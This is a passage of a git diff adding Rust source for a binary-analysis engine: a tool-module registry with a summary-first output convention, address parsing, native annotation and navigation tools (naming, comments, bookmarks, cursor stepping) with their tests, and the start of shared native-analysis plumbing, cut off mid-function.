assert_eq!(rows[1]["status"], "missing"); + let v2 = call( + &e, + "managed_native_calls_verify", + json!({"managed": asm, "native": [craft_anything_testkit::temp_file("other.dll", &craft_anything_testkit::pe64())]}), + ); + assert_eq!(v2["result"]["counts"]["undetermined"], 2); + assert_eq!(super::norm_module("libcraft.so.1"), "craft"); + assert_eq!(super::norm_module("C:\\x\\Craft.DLL"), "craft"); + assert_eq!(super::norm_module("lib"), "lib"); + } + + #[test] + fn reconstruction_and_graph() { + let e = Engine::new(crate::testing::session()); + let asm = craft_anything_testkit::temp_file("Sample.dll", &fx::managed_assembly(1)); + let m = call(&e, "managed_members_list", json!({"path": asm})); + let r = call(&e, "managed_reconstruction_check", json!({"members": retained(&m), "source_text": fx::RECONSTRUCTION_CS})); + assert_eq!(r["result"]["counts"]["signature_mismatch"], 1, "{}", r["result"]); + assert_eq!(r["result"]["counts"]["extra"], 1); + assert_eq!(r["result"]["counts"]["missing"], 0); + let dir = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(dir.path().join("src")).unwrap(); + std::fs::write(dir.path().join("src/Calc.cs"), fx::RECONSTRUCTION_CS).unwrap(); + let r2 = call(&e, "managed_reconstruction_check", json!({"members": asm, "source_path": dir.path()})); + assert_eq!(r2["result"]["counts"], r["result"]["counts"]); + assert!(call_err(&e, "managed_reconstruction_check", json!({"members": asm})).message.contains("exactly one")); + let g = call(&e, "managed_app_graph_build", json!({"input": retained(&m)})); + let edges = g["result"]["graph"]["edges"].as_array().unwrap(); + assert!(edges.iter().any(|x| x["kind"] == "pinvoke" && x["to"] == "native-module:craft")); + assert!(edges.iter().any(|x| x["kind"] == "calls" && x["to"] == "external:System.Console::WriteLine(string)")); + assert!(edges.iter().any(|x| x["kind"] == "calls" && x["to"] == "method:0x06000001")); + let small = call(&e, "managed_app_graph_build", json!({"input": asm, "max_nodes": 10})); + assert_eq!(small["result"]["truncated"], true); + } +} diff --git a/desktop/crates/engine/src/tools/mod.rs b/desktop/crates/engine/src/tools/mod.rs new file mode 100644 index 0000000..3694a54 --- /dev/null +++ b/desktop/crates/engine/src/tools/mod.rs @@ -0,0 +1,246 @@ +//! Tool modules. Each module exposes `specs()`; register a new module with one line in [`all`]. +//! Parallel contributors: add a new module rather than growing someone else's. +//! +//! # Summary-first detail convention +//! +//! Every tool that can return a large result takes a uniform `detail` parameter: +//! `detail: "summary" | "complete"` (default `complete`). With `detail=summary` the tool still +//! builds and **retains** the full evidence record in the session ledger, but returns a compact +//! body: a one-line `summary`, light `counts`/extras, a `record` ([`Evidence::summary_view`]) and +//! an `saved_evidence` (`{"kind":"saved","evidence_id":"ev_…"}`) plus +//! `"continue_with":"core_evidence_browse"`. The caller then pages the full record facet by facet +//! with `core_evidence_browse` (facets, items, pages) without resending it. Build this with the +//! shared [`detailed`] helper (or [`Detail`]), so the shape is identical across tools. The MCP +//! server applies the same idea at the transport layer: a response over the connection's byte +//! budget collapses to this summary form (pointing at the retained record) rather than only an +//! error, whenever the result is a retained evidence record. + +use crate::session::Session; +use craft_anything_evidence::{Environment, EvidenceBuilder, ToolError}; + +pub mod investigation_tools; +// Readable Markdown/HTML investigation reports from findings + evidence. +pub mod native_annotate; +pub mod native_common; +pub mod native_formats; +pub mod native_function; +pub mod native_listing; +pub mod native_workflows; +pub mod report_tools; +pub mod session_tools; +// Shared input helpers for the built-in format tools. +pub mod static_input; +// Android apps (APK, DEX, resources, Flutter, JEB). +pub mod android_tools; +// Java programs: .class/JAR/WAR parsing, JVM bytecode and pseudo-Java. +pub mod java_tools; +// A connected Android phone or emulator over adb, plus managed engine installs. +pub mod adb_tools; +// Frida instrumentation driven through the Frida CLI. +pub mod frida_tools; +// Target-free formats: Go, WebAssembly, EVM. +pub mod format_tools; +// Database files: read-only SQLite inspection. +pub mod database_tools; +// Solana sBPF / classic eBPF programs (built-in decoder + ELF parser). +pub mod sbpf_tools; +// Firmware images (built-in signature scan, entropy, carving). +pub mod firmware_tools; +pub mod game_archive_tools; +// Unity IL2CPP global-metadata.dat: images, types, methods and string literals. +pub mod il2cpp_tools; +// What an installed app of unknown make is built on, from its folder alone. +pub mod install_tools; +// JavaScript, web, archive and app graph tools. +pub mod application_tools; +// Apple: Mach-O, code signing, plists, Swift, Interface Builder, asset catalogs, dyld. +pub mod apple_tools; +pub mod artifact_tools; +pub mod js_tools; +// .NET assemblies (built-in ECMA-335 reader). +pub mod managed_tools; +pub mod web_tools; +// Browser via the Chrome DevTools Protocol (loopback CDP): transport and shared helpers. +pub mod web_common; +// Browser (CDP) tools: passive inspection, bundle analysis, screenshots, comparisons, walkthroughs. +pub mod browser_tools; +// Websites as targets: a browser this session starts, page capture for rebuilding. +pub mod website_tools; +// A stand-in backend answering a rebuilt front end from a network recording. +pub mod standin_tools; +pub mod window_tools; +// Asking the person a question, and approving a coding agent's actions, through the inbox. +pub mod asset_tools; +pub mod interaction_tools; +pub mod project_tools; +// Pinned builds: kept copies of a project's build, and what they started. +pub mod pin_tools; +pub mod setup_tools; +// Electron and V8-inspector tools over loopback CDP. +pub mod electron_runtime_tools; +// Web runtime over CDP: coverage, event listeners, module-import graph. +pub mod web_runtime_tools; +// The Deep-mode (Ghidra) hook the native decompile path consults. +pub mod deep; +// Running programs: process capture under a PTY, and capture comparison. +pub mod process_tools; +// Comparison and verification session tools (pure, in-process). +pub mod compare_tools; +// Apple runtime: accessibility UI and native call tracing (macOS; wrong_os elsewhere). +pub mod apple_runtime; +// Byte-signature and text search over a file, with native addresses. +pub mod build_tools; +pub mod byte_search; +// Rust programs: toolchain, crates, panic paths, symbols, cargo-auditable data. +pub mod rust_tools; +// Imports, exports, signature blocks, AI model headers, matching builds, exporting pseudo-C. +pub mod program_facts_tools; +// Electron fuse wire in a packaged Electron executable. +pub mod electron_fuse_tools; +// Interface diff between two WebAssembly modules. +pub mod wasm_compare_tools; +// Saved packet captures (pcap/pcapng): built-in decoder, optional tshark. +pub mod packed_tools; +pub mod packet_tools; +pub mod python_tools; +// Thin read-only wrappers over optional objdump and rizin. +pub mod external_disasm_tools; +// GDB sessions over the machine interface (optional GDB). +pub mod cutter_tools; +pub mod gdb_tools; +pub mod java_decompile_tools; +pub mod radio_tools; +pub mod rizin_session_tools; + +/// Every tool, in registration order. +pub fn all() -> Vec { + let mut v = Vec::new(); + v.extend(session_tools::specs()); + v.extend(artifact_tools::specs()); + v.extend(js_tools::specs()); + v.extend(web_tools::specs()); + v.extend(browser_tools::specs()); + v.extend(website_tools::specs()); + v.extend(standin_tools::specs()); + v.extend(interaction_tools::specs()); + v.extend(project_tools::specs()); + v.extend(pin_tools::specs()); + v.extend(setup_tools::specs()); + v.extend(build_tools::specs()); + v.extend(window_tools::specs()); + v.extend(asset_tools::specs()); + v.extend(electron_runtime_tools::specs()); + v.extend(web_runtime_tools::specs()); + v.extend(application_tools::specs()); + v.extend(investigation_tools::specs()); + v.extend(report_tools::specs()); + v.extend(native_listing::specs()); + v.extend(native_function::specs()); + v.extend(native_annotate::specs()); + v.extend(native_workflows::specs()); + v.extend(native_formats::specs()); + v.extend(apple_tools::specs()); + v.extend(android_tools::specs()); + v.extend(java_tools::specs()); + v.extend(adb_tools::specs()); + v.extend(frida_tools::specs()); + v.extend(format_tools::specs()); + v.extend(database_tools::specs()); + v.extend(sbpf_tools::specs()); + v.extend(firmware_tools::specs()); + v.extend(packed_tools::specs()); + v.extend(python_tools::specs()); + v.extend(game_archive_tools::specs()); + v.extend(il2cpp_tools::specs()); + v.extend(install_tools::specs()); + v.extend(managed_tools::specs()); + v.extend(process_tools::specs()); + v.extend(compare_tools::specs()); + v.extend(apple_runtime::specs()); + v.extend(byte_search::specs()); + v.extend(rust_tools::specs()); + v.extend(program_facts_tools::specs()); + v.extend(electron_fuse_tools::specs()); + v.extend(wasm_compare_tools::specs()); + v.extend(packet_tools::specs()); + v.extend(external_disasm_tools::specs()); + v.extend(gdb_tools::specs()); + v.extend(rizin_session_tools::specs()); + v.extend(radio_tools::specs()); + v.extend(cutter_tools::specs()); + v.extend(java_decompile_tools::specs()); + v +} + +/// The uniform summary-first detail control (see the module docs). `complete` is the default and +/// returns the full evidence record; `summary` returns a compact, pageable view. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, serde::Deserialize, serde::Serialize, schemars::JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum Detail { + #[default] + Complete, + Summary, +} + +/// Return a built evidence record either in full (`detail=complete`) or as the compact, +/// summary-first body (`detail=summary`): the full record is retained in the session and the +/// caller is pointed at `core_evidence_browse` to page it. `extras` is merged into the summary +/// body (counts, a headline figure…); pass `Value::Null` for none. +pub fn detailed( + ctx: &mut crate::tool::Ctx<'_>, + e: craft_anything_evidence::Evidence, + detail: Detail, + extras: serde_json::Value, +) -> Result { + use serde_json::{Value, json}; + if detail == Detail::Complete { + return Ok(crate::tool::ToolOutput::evidence(e)); + } + let id = e.id.clone(); + let summary = e.summary.clone(); + let view = e.summary_view(); + ctx.session.record(e)?; + let mut body = json!({ + "saved_evidence": {"kind": "saved", "evidence_id": id}, + "summary": summary, + "record": view, + "continue_with": "core_evidence_browse", + }); + if let (Value::Object(m), Value::Object(x)) = (&mut body, extras) { + m.extend(x); + } + Ok(crate::tool::ToolOutput::Value(body)) +} + +/// Start an evidence record about the active target with the session's environment. +pub fn evidence_for_active(session: &Session, operation: &str) -> Result { + let t = session.active()?; + Ok(EvidenceBuilder::new(operation, t.target.subject(), Environment::builtin(session.clean_room()))) +} + +/// Parse an address given as `0x…` hex, plain hex with a leading letter, or decimal. +pub fn parse_address(s: &str) -> Result { + let t = s.trim(); + let parsed = if let Some(h) = t.strip_prefix("0x").or_else(|| t.strip_prefix("0X")) { + u64::from_str_radix(h, 16).ok() + } else if t.chars().any(|c| c.is_ascii_alphabetic()) { + u64::from_str_radix(t.trim_end_matches(['h', 'H']), 16).ok() + } else { + t.parse::().ok() + }; + parsed.ok_or_else(|| ToolError::invalid(format!("not an address: {s:?} (use 0x-hex)"))) +} + +#[cfg(test)] +mod tests { + use super::parse_address; + + #[test] + fn addresses() { + assert_eq!(parse_address("0x401000").unwrap(), 0x401000); + assert_eq!(parse_address("401000h").unwrap(), 0x401000); + assert_eq!(parse_address("4096").unwrap(), 4096); + assert!(parse_address("0xZZ").is_err()); + assert!(parse_address("").is_err()); + } +} diff --git a/desktop/crates/engine/src/tools/native_annotate.rs b/desktop/crates/engine/src/tools/native_annotate.rs new file mode 100644 index 0000000..e21077a --- /dev/null +++ b/desktop/crates/engine/src/tools/native_annotate.rs @@ -0,0 +1,552 @@ +//! Annotations (names, comments, bookmarks) and navigation (cursor, next/previous address). +//! Annotations live on the open target and are saved to the project when one is open; every +//! write is read back and returned. + +use super::native_common::{address_or_cursor, hex, image, name_of, native, resolve_function, select_document, spec, user_names}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::native as an; +use craft_anything_evidence::ToolError; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; + +/// Longest name we keep (in UTF-16 units, like common disassembler limits). +pub const MAX_NAME_UNITS: usize = 1024; +pub const MAX_COMMENT_CHARS: usize = 16_384; + +pub fn specs() -> Vec { + use Toolset::Native; + let t = Requires::Target; + let edit = Effects::MUTATES_TARGET.union(Effects::MUTATES_SESSION).union(Effects::MAY_DISCARD_DATA); + let nav = Effects::MUTATES_SESSION.union(Effects::CHANGES_UI_STATE); + vec![ + spec( + "native_name_set", + "Name an address", + "Give an address a name (an empty name clears yours). Names show everywhere: listings, assembly, pseudo-C, call graphs. Saved with the project.", + "Give a place in the program a meaningful name.", + Native, + edit, + t, + schema_of::, + native_name_set, + ), + spec( + "native_names_set", + "Name many addresses", + "Name several addresses at once; reports success per address.", + "Rename several things at once.", + Native, + edit, + t, + schema_of::, + native_names_set, + ), + spec( + "native_comment_write", + "Write comment", + "Set the comment at an address (empty clears it) and read it back.", + "Leave a note at an address.", + Native, + edit, + t, + schema_of::, + native_comment_write, + ), + spec( + "native_inline_comment_write", + "Write inline comment", + "Set the inline (end-of-line) comment at an address (empty clears it) and read it back.", + "Leave a short note on a line.", + Native, + edit, + t, + schema_of::, + native_inline_comment_write, + ), + spec( + "native_bookmark_add", + "Bookmark", + "Bookmark an address with an optional name.", + "Bookmark a place to come back to.", + Native, + edit, + t, + schema_of::, + native_bookmark_add, + ), + spec( + "native_bookmark_remove", + "Remove bookmark", + "Remove the bookmark at an address.", + "Remove a bookmark.", + Native, + edit, + t, + schema_of::, + native_bookmark_remove, + ), + spec( + "native_function_label", + "Annotate function", + "Rename a function and/or set its entry comment and inline comment in one step (empty strings clear), read them back, and return the refreshed function facts.", + "Rename a function and note what it does.", + Native, + edit, + t, + schema_of::, + native_function_label, + ), + spec( + "native_cursor_address_show", + "Cursor address", + "The cursor address in the active document (set with native_cursor_goto or in the app).", + "Where am I looking?", + Native, + Effects::READ_ONLY, + t, + schema_of::, + native_cursor_address_show, + ), + spec( + "native_cursor_function_show", + "Cursor function", + "The function containing the cursor.", + "Which function am I looking at?", + Native, + Effects::EVIDENCE, + t, + schema_of::, + native_cursor_function_show, + ), + spec( + "native_document_show", + "Current document", + "The active document (open target).", + "Which file am I looking at?", + Native, + Effects::READ_ONLY, + t, + schema_of::, + native_document_show, + ), + spec( + "native_cursor_goto", + "Go to address", + "Move the cursor to an address (must be mapped in the program).", + "Jump to a place in the program.", + Native, + nav, + t, + schema_of::, + native_cursor_goto, + ), + spec( + "native_cursor_forward", + "Next address", + "The address of the next instruction (in code) or next byte (in data) after an address (the cursor by default). Doesn't move the cursor.", + "Step forward one instruction.", + Native, + Effects::READ_ONLY, + t, + schema_of::, + native_cursor_forward, + ), + spec( + "native_cursor_back", + "Previous address", + "The address of the previous instruction (in code) or previous byte (in data) before an address (the cursor by default). Doesn't move the cursor.", + "Step back one instruction.", + Native, + Effects::READ_ONLY, + t, + schema_of::, + native_cursor_back, + ), + ] +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct NoParams {} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DocParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AddrParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex). + pub address: String, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct OptAddrParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex); the cursor when omitted. + #[serde(default)] + pub address: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SetNameParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex). + pub address: String, + /// New name; empty clears your name. + pub name: String, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SetNamesParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Map of address (0x-hex) → name; empty names clear. + pub names: BTreeMap, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SetCommentParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex). + pub address: String, + /// Comment text; empty clears it. + pub comment: String, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct BookmarkParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex). + pub address: String, + /// Bookmark label. + #[serde(default)] + pub name: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AnnotateParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Function name or address. + pub function: String, + /// New name (empty clears your name). + #[serde(default)] + pub name: Option, + /// Comment at the entry (empty clears). + #[serde(default)] + pub comment: Option, + /// Inline comment at the entry (empty clears). + #[serde(default)] + pub inline_comment: Option, +} + +fn check_name(name: &str) -> Result<(), ToolError> { + if name.encode_utf16().count() > MAX_NAME_UNITS { + return Err(ToolError::invalid(format!("names are limited to {MAX_NAME_UNITS} characters"))); + } + if name.chars().any(|c| c.is_control()) { + return Err(ToolError::invalid("names can't contain control characters or newlines")); + } + Ok(()) +} + +fn check_comment(c: &str) -> Result<(), ToolError> { + if c.chars().count() > MAX_COMMENT_CHARS { + return Err(ToolError::invalid(format!("comments are limited to {MAX_COMMENT_CHARS} characters"))); + } + if c.contains('\0') { + return Err(ToolError::invalid("comments can't contain NUL")); + } + Ok(()) +} + +/// Addresses must lie in the program (or be a known name target). +fn check_mapped(ctx: &mut Ctx<'_>, a: u64) -> Result<(), ToolError> { + let img = image(ctx)?; + if img.0.is_mapped(a) { + Ok(()) + } else { + Err(ToolError::invalid(format!("{a:#x} isn't inside the program")).with_remediation("Pick an address inside a segment (native_sections_list).")) + } +} + +fn put(map: &mut BTreeMap, a: u64, v: &str) -> Option { + if v.is_empty() { + map.remove(&a); + None + } else { + map.insert(a, v.to_string()); + Some(v.to_string()) + } +} + +fn native_name_set(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SetNameParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + check_name(&p.name)?; + check_mapped(ctx, a)?; + let t = ctx.session.active_mut()?; + let previous = t.annotations.names.get(&a).cloned(); + let now = put(&mut t.annotations.names, a, p.name.trim()); + ctx.session.save_annotations()?; + Ok(ToolOutput::Value(json!({"address": hex(a), "name": now, "previous": previous, "persisted": ctx.session.project.is_some()}))) +} + +fn native_names_set(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SetNamesParams = parse_params(params)?; + select_document(ctx, &p.document)?; + if p.names.len() > 10_000 { + return Err(ToolError::invalid("at most 10000 names per call")); + } + let img = image(ctx)?; + let mut results = Vec::new(); + let mut ok = 0usize; + for (addr, name) in &p.names { + let r = super::parse_address(addr).and_then(|a| { + check_name(name)?; + if !img.0.is_mapped(a) { + return Err(ToolError::invalid(format!("{a:#x} isn't inside the program"))); + } + Ok(a) + }); + match r { + Ok(a) => { + let t = ctx.session.active_mut()?; + let now = put(&mut t.annotations.names, a, name.trim()); + ok += 1; + results.push(json!({"address": hex(a), "ok": true, "name": now})); + } + Err(e) => results.push(json!({"address": addr, "ok": false, "error": e.message})), + } + } + ctx.session.save_annotations()?; + Ok(ToolOutput::Value(json!({"results": results, "succeeded": ok, "failed": p.names.len() - ok}))) +} + +fn set_comment_kind(ctx: &mut Ctx<'_>, params: Value, inline: bool) -> Result { + let p: SetCommentParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + check_comment(&p.comment)?; + check_mapped(ctx, a)?; + let t = ctx.session.active_mut()?; + let map = if inline { &mut t.annotations.inline_comments } else { &mut t.annotations.comments }; + put(map, a, &p.comment); + let readback = map.get(&a).cloned(); + ctx.session.save_annotations()?; + Ok(ToolOutput::Value(json!({"address": hex(a), "comment": readback, "inline": inline}))) +} + +fn native_comment_write(ctx: &mut Ctx<'_>, params: Value) -> Result { + set_comment_kind(ctx, params, false) +} + +fn native_inline_comment_write(ctx: &mut Ctx<'_>, params: Value) -> Result { + set_comment_kind(ctx, params, true) +} + +fn native_bookmark_add(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: BookmarkParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + let name = p.name.unwrap_or_default(); + check_name(&name)?; + check_mapped(ctx, a)?; + let t = ctx.session.active_mut()?; + t.annotations.bookmarks.insert(a, name.clone()); + ctx.session.save_annotations()?; + Ok(ToolOutput::Value(json!({"address": hex(a), "bookmark": name}))) +} + +fn native_bookmark_remove(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + let t = ctx.session.active_mut()?; + let removed = t.annotations.bookmarks.remove(&a); + ctx.session.save_annotations()?; + Ok(ToolOutput::Value(json!({"address": hex(a), "removed": removed.is_some()}))) +} + +fn native_function_label(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AnnotateParams = parse_params(params)?; + select_document(ctx, &p.document)?; + if p.name.is_none() && p.comment.is_none() && p.inline_comment.is_none() { + return Err(ToolError::invalid("give at least one of name, comment, native_inline_comment_read")); + } + if let Some(n) = &p.name { + check_name(n)?; + } + for c in [&p.comment, &p.inline_comment].into_iter().flatten() { + check_comment(c)?; + } + let st = native(ctx)?; + let entry = resolve_function(ctx.session.active()?, &st.prog, &p.function)?.entry; + let t = ctx.session.active_mut()?; + if let Some(n) = &p.name { + put(&mut t.annotations.names, entry, n.trim()); + } + if let Some(c) = &p.comment { + put(&mut t.annotations.comments, entry, c); + } + if let Some(c) = &p.inline_comment { + put(&mut t.annotations.inline_comments, entry, c); + } + ctx.session.save_annotations()?; + let t = ctx.session.active()?; + let f = st.prog.functions.get(&entry).ok_or_else(|| ToolError::internal("function vanished"))?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let info = an::function_info(&st.prog, f, &names); + Ok(ToolOutput::Value(json!({ + "entry": hex(entry), + "name": name_of(t, &st.prog, entry), + "comment": t.annotations.comments.get(&entry), + "inline_comment": t.annotations.inline_comments.get(&entry), + "function": info, + "persisted": ctx.session.project.is_some(), + }))) +} + +fn native_cursor_address_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DocParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let t = ctx.session.active()?; + Ok(ToolOutput::Value(json!({"document": t.target.id, "address": t.cursor.address.map(hex)}))) +} + +fn native_cursor_function_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DocParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let Some(a) = ctx.session.active()?.cursor.address else { + return Ok(ToolOutput::Value(json!({"address": null, "function": null, "reason": "the cursor isn't set; use native_cursor_goto"}))); + }; + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = st.prog.function_containing(a); + Ok(ToolOutput::Value(json!({"address": hex(a), "function": f.map(|f| name_of(t, &st.prog, f.entry)), "entry": f.map(|f| hex(f.entry))}))) +} + +fn native_document_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let _: NoParams = parse_params(params)?; + let t = ctx.session.active()?; + Ok(ToolOutput::Value(json!({"document": t.target.id, "name": t.target.name, "path": t.target.path, "kind": t.target.kind, "sha256": t.target.sha256}))) +} + +fn native_cursor_goto(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + check_mapped(ctx, a)?; + let t = ctx.session.active_mut()?; + let previous = t.cursor.address; + t.cursor.address = Some(a); + Ok(ToolOutput::Value(json!({"address": hex(a), "previous": previous.map(hex)}))) +} + +fn step(ctx: &mut Ctx<'_>, params: Value, forward: bool) -> Result { + let p: OptAddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = address_or_cursor(ctx.session, &p.address)?; + let st = native(ctx)?; + let (next, unit) = if let Some(f) = st.prog.function_containing(a) { + let insns = st.prog.instructions(&st.img, f, false); + let addrs: Vec = insns.iter().map(|i| i.addr).collect(); + let n = if forward { + addrs.iter().find(|x| **x > a).copied().or_else(|| insns.last().map(|i| i.end())) + } else { + addrs.iter().rev().find(|x| **x < a).copied() + }; + (n, "instruction") + } else if forward { + (st.img.decode(a, false).filter(|_| st.img.is_exec(a)).map(|i| i.end()).or(a.checked_add(1)), "byte") + } else { + (a.checked_sub(1), "byte") + }; + let next = next.filter(|n| st.img.is_mapped(*n) || st.prog.function_containing(a).is_some()); + Ok(ToolOutput::Value(json!({"from": hex(a), "address": next.map(hex), "unit": unit}))) +} + +fn native_cursor_forward(ctx: &mut Ctx<'_>, params: Value) -> Result { + step(ctx, params, true) +} + +fn native_cursor_back(ctx: &mut Ctx<'_>, params: Value) -> Result { + step(ctx, params, false) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::*; + use craft_anything_testkit as tk; + use serde_json::json; + + #[test] + fn names_comments_bookmarks_and_navigation() { + let (elf, l) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &elf); + let helper = format!("{:#x}", l.code_va + tk::x64::HELPER); + let r = call(&e, "native_name_set", json!({"address": helper, "name": "sum_to"})); + assert_eq!(r["result"]["name"], "sum_to"); + let r = call(&e, "native_function_pseudocode", json!({"function": "main"})); + assert!(r["result"]["pseudo_code"].as_str().unwrap().contains("sum_to(5)")); + let r = call(&e, "native_function_show", json!({"function": "sum_to"})); + assert_eq!(r["result"]["name"], "sum_to"); + let r = call(&e, "native_names_set", json!({"names": {format!("{:#x}", l.code_va): "start_here", "0x1": "bad", "zz": "worse"}})); + assert_eq!(r["result"]["succeeded"], 1); + assert_eq!(r["result"]["failed"], 2); + assert!(call_err(&e, "native_name_set", json!({"address": helper, "name": "x".repeat(1025)})).message.contains("1024")); + call(&e, "native_comment_write", json!({"address": helper, "comment": "adds 1..n"})); + let r = call(&e, "native_comment_read", json!({"address": helper})); + assert_eq!(r["result"]["comment"], "adds 1..n"); + call(&e, "native_comment_write", json!({"address": helper, "comment": ""})); + assert!(call(&e, "native_comment_read", json!({"address": helper}))["result"]["comment"].is_null()); + call(&e, "native_inline_comment_write", json!({"address": helper, "comment": "loop"})); + assert_eq!(call(&e, "native_inline_comment_read", json!({"address": helper}))["result"]["comment"], "loop"); + call(&e, "native_bookmark_add", json!({"address": helper, "name": "look here"})); + assert_eq!(call(&e, "native_bookmarks_show", json!({}))["result"]["bookmarks"][0]["name"], "look here"); + assert_eq!(call(&e, "native_bookmark_remove", json!({"address": helper}))["result"]["removed"], true); + let r = call(&e, "native_function_label", json!({"function": "dispatch", "name": "pick_value", "comment": "switch on 0..2"})); + assert_eq!(r["result"]["name"], "pick_value"); + assert_eq!(r["result"]["function"]["name"], "pick_value"); + assert!(call_err(&e, "native_function_label", json!({"function": "main"})).message.contains("at least one")); + // navigation + assert!(call(&e, "native_cursor_address_show", json!({}))["result"]["address"].is_null()); + call(&e, "native_cursor_goto", json!({"address": helper})); + assert_eq!(call(&e, "native_cursor_address_show", json!({}))["result"]["address"], helper); + assert_eq!(call(&e, "native_cursor_function_show", json!({}))["result"]["function"], "sum_to"); + let n = call(&e, "native_cursor_forward", json!({})); + assert_eq!(n["result"]["address"], format!("{:#x}", l.code_va + tk::x64::HELPER + 1)); + let p = call(&e, "native_cursor_back", json!({"address": format!("{:#x}", l.code_va + tk::x64::HELPER + 4)})); + assert_eq!(p["result"]["address"], format!("{:#x}", l.code_va + tk::x64::HELPER + 1)); + assert_eq!(call(&e, "native_document_show", json!({}))["result"]["name"], "prog"); + assert!(call_err(&e, "native_cursor_goto", json!({"address": "0x5"})).remediation.is_some()); + } +} diff --git a/desktop/crates/engine/src/tools/native_common.rs b/desktop/crates/engine/src/tools/native_common.rs new file mode 100644 index 0000000..a36f9a0 --- /dev/null +++ b/desktop/crates/engine/src/tools/native_common.rs @@ -0,0 +1,275 @@ +//! Shared plumbing for the native-code tools: loading and caching the built-in engine's +//! analysis per target, resolving functions and addresses, names with user annotations on top, +//! paging, and evidence assembly. + +use crate::session::{OpenTarget, Session}; +use crate::target::{Target, TargetKind}; +use crate::tool::{CancelToken, Ctx, Progress, ProgressFn, ToolOutput}; +use craft_anything_analysis::native::Report; +use craft_anything_disasm::{Control, DisasmError, Function, Image, Limits, Program}; +use craft_anything_evidence::{Coverage, ErrorCode, EvidenceBuilder, ToolError}; +use craft_anything_formats::Arch; +use serde_json::Value; +use std::collections::BTreeMap; +use std::sync::Arc; + +/// Default page size for big lists. +pub const DEFAULT_LIMIT: usize = 200; +pub const MAX_LIMIT: usize = 5000; + +/// The parsed image and its whole-program analysis, cached on the target. +pub struct NativeState { + pub img: Arc, + pub prog: Program, +} + +/// Just the parsed image (cheap; used by tools that don't need the full analysis). +pub struct NativeImage(pub Arc); + +/// A tool call's cancel token and progress, as the native engine asks for them. +pub struct CtxControl<'a> { + cancel: CancelToken, + progress: &'a ProgressFn, +} + +impl<'a> CtxControl<'a> { + pub fn of(ctx: &Ctx<'a>) -> Self { + CtxControl { cancel: ctx.cancel.clone(), progress: ctx.progress } + } +} + +impl Control for CtxControl<'_> { + fn cancelled(&self) -> bool { + self.cancel.is_cancelled() + } + + fn progress(&self, fraction: f32, message: &str) { + (self.progress)(Progress { fraction: Some(fraction), message: message.to_string() }); + } +} + +pub fn disasm_err(e: DisasmError) -> ToolError { + match e { + DisasmError::Cancelled => ToolError::cancelled(), + DisasmError::Unsupported(m) => ToolError::unsupported(m).with_remediation("Run triage to see which tools fit this file."), + DisasmError::Format(f) => ToolError::new(ErrorCode::NotSupported, format!("Couldn't read this as a program: {f}")) + .with_remediation("Check that the file is a complete ELF, PE, Mach-O or DOS program; run triage for other kinds of file."), + } +} + +/// Build an image for a target of any native kind. +pub fn image_for(t: &Target) -> Result { + match t.kind { + TargetKind::Elf | TargetKind::Pe | TargetKind::MachO | TargetKind::MachOFat | TargetKind::Managed | TargetKind::Unknown => { + Image::parse(t.bytes.clone()).map_err(disasm_err) + } + TargetKind::DosCom => Image::dos_com(t.bytes.clone()).map_err(disasm_err), + TargetKind::RawBinary => { + let raw = t.raw.as_ref().ok_or_else(|| 